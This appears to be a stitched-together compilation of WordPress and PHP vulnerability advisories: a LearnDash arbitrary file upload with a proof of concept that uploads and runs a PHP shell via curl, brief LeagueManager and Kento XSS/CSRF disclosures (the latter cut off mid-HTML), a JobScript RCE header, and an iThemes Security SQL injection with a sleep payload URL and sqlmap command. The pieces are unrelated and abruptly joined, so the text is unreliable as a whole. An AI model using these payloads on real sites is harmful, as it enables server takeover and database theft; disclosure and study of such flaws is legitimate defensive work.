# Exploit Title: WordPress LearnDash 2.5.3 Unauthenticated Arbitrary 
File Upload
# Date: 07-01-2018
# Vendor Homepage: https://www.learndash.com/
# Vendor Changelog: https://www.learndash.com/changelog/
# Version: 2.5.3
# Exploit Author: NinTechNet
# Author Advisory: http://nin.link/learndash/
# Category: Webapps

1. Overview:

This vulnerability has been exploited at least since Dec. 27th, 2017. 
Here's a log sample showing the attack:
87.244.138.44 - - [27/Dec/2017:20:29:33 +0100] "POST / HTTP/1.0" 200 
47095
87.244.138.44 - - [27/Dec/2017:20:29:34 +0100] "GET 
/wp-content/uploads/assignments/assig.php. HTTP/1.1" 200 266
87.244.138.44 - - [27/Dec/2017:20:29:36 +0100] "GET 
/wp-admin/ms-site.php HTTP/1.1" 200 4110

2. Description:

The plugin offers the possibility to create courses and to assign 
lessons to them. Each lesson can allow uploads, and it is possible to 
restrict them by file extensions. Uploads are handled by the 
learndash_assignment_process_init() function located in the 
"wp-content/plugins/sfwd-lms/includes/ld-assignment-uploads.php" script:

// ===================================================================
function learndash_assignment_process_init() {

    if ( isset( $_POST['uploadfile'] ) && isset( $_POST['post'] ) ) {
       $post_id = $_POST['post'];
       $file = $_FILES['uploadfiles'];

       if (( ! empty( $file['name'][0] ) ) && ( learndash_check_upload( 
$file, $post_id ) ) )  {
          $file_desc = learndash_fileupload_process( $file, $post_id );
          $file_name = $file_desc['filename'];
          $file_link = $file_desc['filelink'];
          $params = array(
             'filelink' => $file_link,
             'filename' => $file_name,
          );
       }
    }
}
// ===================================================================

Neither this function nor the learndash_check_upload() and 
learndash_fileupload_process() functions it calls check if the user is 
authenticated or allowed to upload files, or even if the post ID, course 
and lesson exist before accepting the file.

The plugin calls the WordPress wp_check_filetype() API function, removes 
the filename extension and appends the one returned by this function. 
Because wp_check_filetype() will return an empty value for PHP scripts, 
the file extension will be removed: "script.php" will become "script.". 
But that can be bypassed by appending a double extension, e.g., 
"script.php.php" which will be turned into "script.php.". Although the 
PHP filename ends with a [.] dot, it is still executed by default by the 
PHP interpreter on servers running Apache with PHP CGI/FastCGI SAPI.

3. Proof of concept:

To exploit the vulnerability, it is only required that the plugin be 
enabled, even if no courses or lessons were created (bogus values can be 
assigned to each variable):

$ echo '<?php echo exec("ls -la /etc/passwd");' > shell.php.php
$ curl -F "post=foobar" -F "course_id=foobar" -F "uploadfile=foobar" -F 
"uploadfiles[]=@./shell.php.php" http://victim.tld/
$ curl 'http://victim.tld/wp-content/uploads/assignments/shell.php.'

LeagueManager plugin for WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

LeagueManager 3.7 is vulnerable; other versions may also be affected.

I would like to disclose  CSRF and stored XSS vulnerability in Kento post view counter plugin version 2.8 .

The vulnerable Fields for XSS are 

    kento_pvc_numbers_lang
    kento_pvc_today_text
    kento_pvc_total_text

The combination of CSRF and XSS in this plugin can lead to huge damage of the website, as the two fields kento_pvc_today_text and kento_pvc_total_text are reflected on all authenticated users as well as non-authenticated user ,all the post have a footer which shows this two parameter reflected in them ,so if an attacker successfully attacks a website almost all the pages on that website will execute the malicious javascript payload on all the clients browsers visiting that website.every user visiting the website will be affected.




The plugin can be found at https://wordpress.org/plugins/kento-post-view-counter/


This CSRF is tested on latest wordpress installation 4.4.2 using firefox browser.  and chrome.


The Code for CSRF.html is 

<html>

# JobScript Remote Code Execution Exploit
#
#
# Vendor: Jobscript
# Product web page: http://www.jobscript.in
# Affected version: Unknown
#
# Summary: JobScript is inbuilt structured website was developed in PHP and MySQL 
# database. It's a complete job script for those who wants to start a professional 
# job portal website like naukri.com, monster.com, clickjobs.com or any such major 
# job portals. Jobscript was designed and developed with the following features like 
# control panel for Employer's and also for Job Seeker's, email alerts, job search, 
# online resume, payment and membership plans. 
#
# Desc: JobScript suffers from an authenticated arbitrary PHP code execution. The 
# vulnerability is caused due to the improper verification of uploaded files in 
# '/admin-ajax.php' script thru the 'name' and 'file' POST parameters. This can 
# be exploited to execute arbitrary PHP code by uploading a malicious PHP script 
# file with '.php' extension (to bypass the '.htaccess' block rule) that will be 
# stored in '/jobmonster/wp-content/uploads/jobmonster/' directory.
#
# Tested on: Apache 2.4.9
#            PHP 5.4.26

# Exploit Title: WordPress Plugin iThemes Security(better-wp-security) <= 7.0.2 - Authenticated SQL Injection
# Date: 2018-06-25
# Exploit Author: Çlirim Emini

# Website: https://www.sentry.co.com/
# Vendor Homepage: https://ithemes.com/
# Software Link: https://wordpress.org/plugins/better-wp-security/
# Version/s: 7.0.2 and below
# Patched Version: 7.0.3
# CVE : 2018-12636
# WPVULNDB: https://wpvulndb.com/vulnerabilities/9099

Plugin description:

iThemes Security works to lock down WordPress, fix common holes, stop automated attacks and strengthen user credentials. With advanced features for experienced users, this WordPress security plugin can help harden WordPress.

Description:

WordPress Plugin iThemes Security(better-wp-security) before 7.0.3 allows remote authenticated users to execute arbitrary SQL commands via the 'orderby' parameter in the 'itsec-logs' page to wp-admin/admin.php.

Technical details:

Parameter orderby is vulnerable because backend variable $sort_by_column
is not escaped.

File: better-wp-security/core/admin-pages/logs-list-table.php
Line 271: if ( isset( $_GET[' orderby '], $_GET['order'] ) ) {
Line 272: $ sort_by_column = $_GET[' orderby '];

File: better-wp-security/core/lib/log-util.php
Line 168: $query .= ' ORDER BY ' . implode( ', ', $ sort_by_column ));

Proof of Concept (PoC):

The following GET request will cause the SQL query to execute and sleep for 10 seconds if clicked on as an authenticated admin:

http://localhost/wp-admin/admin.php?page=itsec-logs&filter=malware&orderby=remote_ip%2c(select*from(select(sleep(10)))a)&order=asc&paged=0

Using SQLMAP:

sqlmap -u 'http://localhost/wp-admin/admin.php?page=itsec-logs&filter=malware&orderby=remote_ip*&order=asc&paged=0' --cookie "wordpress_b...; wordpress_logged_in_bbf...;" --string "WordPress" --dbms=MySQL --technique T --level 5 --risk 3
